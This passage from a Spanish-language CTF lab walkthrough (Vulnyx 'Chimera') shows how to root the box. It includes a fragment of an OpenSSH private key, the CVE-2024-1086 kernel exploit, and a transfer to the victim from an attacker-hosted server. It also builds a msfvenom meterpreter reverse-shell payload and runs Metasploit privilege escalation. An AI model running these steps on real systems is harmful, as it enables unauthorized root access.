NuyD8wTYZO61lEDcDIrAhE70RcMeaq1I6lPylhdu/6hgH0NzZ6EecRJjjlH51kpZtLeBK8
VCaknMmQVYJIn7y3qSx0OQT9XLbTt4suqllXjP0JUVEAEf5SGbb8wjE96SZ/HwdUUkUoQ7
bo2nWowfZWbhkso4Nh/F3AQnwDnLvN11jjM5IRyIGcHPjRZ4EeYUVyFivrI77mSNrdMFxf
hPphoGs6kmponuh/k1SXy5F5/8SZsmMO327nJp5OfxOH7DQgzO82/t4A/OBn/S07BchUbC
G9p2W7qzhTYTAAAAC2RldkBjaGltZXJhAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
Una vez completamos el: “one lineer” estaremos dentro del SSH como el usuario: “dev” de la maquina victima.
Para obtener información de la versión del Kernel haremos el siguiente comando:
Script: <- Obtenemos información del Kernel.
uname -r
Si buscamos información por internet acerca de la versión del Kernel descubriremos que existe un CVE para escalar privilegios: CVE-2024–1086 (Linux kernel LPE)
La prueba de concepto se encuentra en el siguiente repositorio: https://github.com/Notselwyn/CVE-2024-1086
Simplemente nos traeremos el repositorio a nuestro equipo para compilarlo y pasar el archivo final a la maquina victima:
Script: <- Traemos el Repositorio a nuestra maquina atacante.
git clone https://github.com/Notselwyn/CVE-2024-1086
Después de traernos el repositorio tenemos que entrar al directorio del proyecto con el siguiente comando:
Script: <- Entramos dentro del directorio del proyecto.
cd CVE-2024-1086
Una vez dentro del directorio del proyecto cambiaremos el código del archivo: net.h para que funcione sin ningún tipo de problema:
Script: <- Abrimos el archivo necesario para renovar el código obsoleto.
nano src/net.h
Script: <- Código renovado para que funcione sin errores.
// This program, and the other programs and scripts ("programs", "these programs") in this software directory/folder/repository ("repository")
#ifndef NET_H
#define NET_H
void send_ipv4_udp(const char* buf, size_t buflen);
void recv_ipv4_udp(int content_len); // ← Fixed: added int parameter
void send_ipv4_tcp(const char* buf, size_t buflen);
void recv_ipv4_tcp();
void send_ipv4_ip_hdr(const char* buf, size_t buflen, struct ip *ip_header);
void populate_sockets();
#endif
Una vez hayamos cambiado el código al archivo obsoleto estamos preparados para compilar el código y obtener exploit final de la siguiente manera:
Script: <- Instalamos la Dependencia necesaria y compilamos el exploit.
sudo apt install musl-tools && make
Una vez finalizado tendremos el archivo llamado: exploit.
Ahora tenemos que pasar el archivo compilado llamado: “exploit” a la maquina victima de la siguiente manera:
Script: <- Abrimos un servidor por Python.
python3 -m http.server <Puerto deseado>
Script: <- Descargamos el exploit compilado anteriormente.
wget http://<IP atacante>:<Puerto abierto anteriormente>/exploit
Ya solo toca asignar permisos de ejecución al exploit y fichando por el mismo de la siguiente forma:
Script: <- Asignamos permisos de Ejecución al exploit y lanzamos el ataque.
chmod +x exploit && ./exploit
Y ya seriamos el super-usuario root.
Si a la hora de realizar una auditoria no encontramos una vulnerabilidad critica dentro del sistema siempre podemos utilizar Metasploit para agilizar el proceso y dar un repaso al sistema en buscar de nuevas vulnerabilidades.
Metasploit es un framework de pruebas de penetración (pentesting) diseñado para identificar, explotar y validar vulnerabilidades en sistemas y aplicaciones.
¿Para qué sirve?
Simular ataques reales para descubrir fallos de seguridad.
Explotar vulnerabilidades usando módulos predefinidos (exploits, payloads).
Automatizar pruebas de seguridad y evaluar la resistencia de sistemas.
Maquina vulnerable a la Explotación del Kernel: https://vulnyx.com/
Maquina: Chimera
Para analizar desde Metasploit, tenemos que tener la sesión de la maquina hackeada en Metasploit, para ello podemos seguir los siguientes pasos:
Para crear el archivo podemos usar el siguiente comando:
Script: <- Creamos el archivo para conectarnos con Metasploit.
msfvenom -p linux/x86/meterpreter_reverse_tcp --platform linux -a x86 LHOST=<IP atacante> LPORT=<Puerto> -f elf -o metasploit.elf
Script: <- Creamos el archivo para conectarnos con Metasploit.
msfvenom -p linux/x64/meterpreter_reverse_tcp --platform linux -a x64 LHOST=<IP atacante> LPORT=<Puerto> -f elf -o metasploit.elf
Una vez creado el archivo lo pasamos a la maquina victima de la siguiente manera
Script: <- Abrimos un servidor por Python.
python3 -m http.server <Puerto deseado>
Script: <- Descargamos el exploit compilado anteriormente.
wget http://<IP atacante>:<Puerto abierto anteriormente>/metasploit.elf
Por ultimo asignamos permisos de ejecución al archivo de MSFVENOM:
Script: <- Asignamos permisos de ejecución al archivo de MSFVENOM.
chmod +x metasploit.elf
Ahora tenemos que preparar Metasploit con el Listener adecuado, para ello haremos el siguiente comando:
Script: <- Abrimos Metasploit.
msfdb run
Y una vez dentro del Framework usaremos el siguiente modulo:
Script: <- Usamos el siguiente modulo para crear posteriormente el Listener.
use exploit/multi/handler
Por ultimo tenemos que asignarle la IP, Puerto y el Payload asignamos con MSFVENOM:
Script: <- Asignamos la dirección IP que creamos con el archivo de MSFVENOM.
set LHOST <IP asignado en MSFVENOM>
Script: <- Asignamos el Puerto que creamos con el archivo de MSFVENOM.
set LPORT <Puerto asignado en MSFVENOM>
Script: <- Asignamos el Payload que creamos con el archivo de MSFVENOM.
set payload linux/x86/meterpreter_reverse_tcp
Script: <- Asignamos el Payload que creamos con el archivo de MSFVENOM.
set payload linux/x64/meterpreter_reverse_tcp
Por ultimo lanzamos el listener
Script: <- Lanzamos el Listener.
exploit
Una vez este todo preparado simplemente tenemos que ejecutar el archivo de MSFVENOM que pasamos a la maquina victima de la siguiente manera:
Script: <- Ejecutamos el archivo creado por MSFVENOM en la maquina victima.
./metasploit.elf
Y ya tendríamos la conexión con nuestro Metasploit
Ahora tenemos que dejar la sesión iniciada posteriormente en background de la siguiente manera:
Script: <- Dejamos la sesión creada anteriormente en background.
background
Lo siguiente es ejecutar el modulo de Post-Explotación con el siguiente comando:
Script: <- Accedemos a este modulo de reconocimiento.
use post/multi/recon/local_exploit_suggester
Una vez dentro podemos identificar las sesiones activas con el siguiente comando:
Script: <- Vemos las sesiones activas.
sessions
Una vez descubierto el identificador de la sesión podemos asignarlo en el modulo y lanzarlo:
Script: <- Asignamos la sesión de la maquina victima.
set SESSION <Numero de la sesion>
Script: <- Ejecutamos el modulo.
run
Y empezara a escanear las diferentes vulnerabilidades de Post-Explotación de la maquina victima.
Una vez realizado el escaneo ya tenemos los módulos de Post-Explotación que podemos emplear, por ejemplo:
Script: <- Ejemplo de un modulo encontrado.
exploit/linux/local/netfilter_priv_esc_ipv4
Así que simplemente podemos usar el siguiente comando para ir dentro del modulo activo:
Script: <- Accedemos a este modulo de Post-Explotación.
use exploit/linux/local/netfilter_priv_esc_ipv4
Ahora tenemos que asignar la sesión de la maquina victima:
Script: <- Asignamos la sesión de la maquina victima.
set SESSION <Numero de la sesion>
y lanzamos el ataque con el siguiente comando:
Script: <- Lanzamos el ataque.
exploit
Si el exploit sirve para la escalada de privilegios se nos asignara una shell como root.
Siempre valida legalmente tu autorización antes de realizar estas pruebas.
Usa diccionarios personalizados si sabes datos del entorno.
Nunca ejecutes exploits en producción sin un entorno controlado.
Documenta todo: IPs, usuarios válidos, resultados de escaneos.
Practica diariamente tus habilidades de Pentesting con maquinas CTF.
Utiliza los diferentes navegadores para investigar nuevos servicios.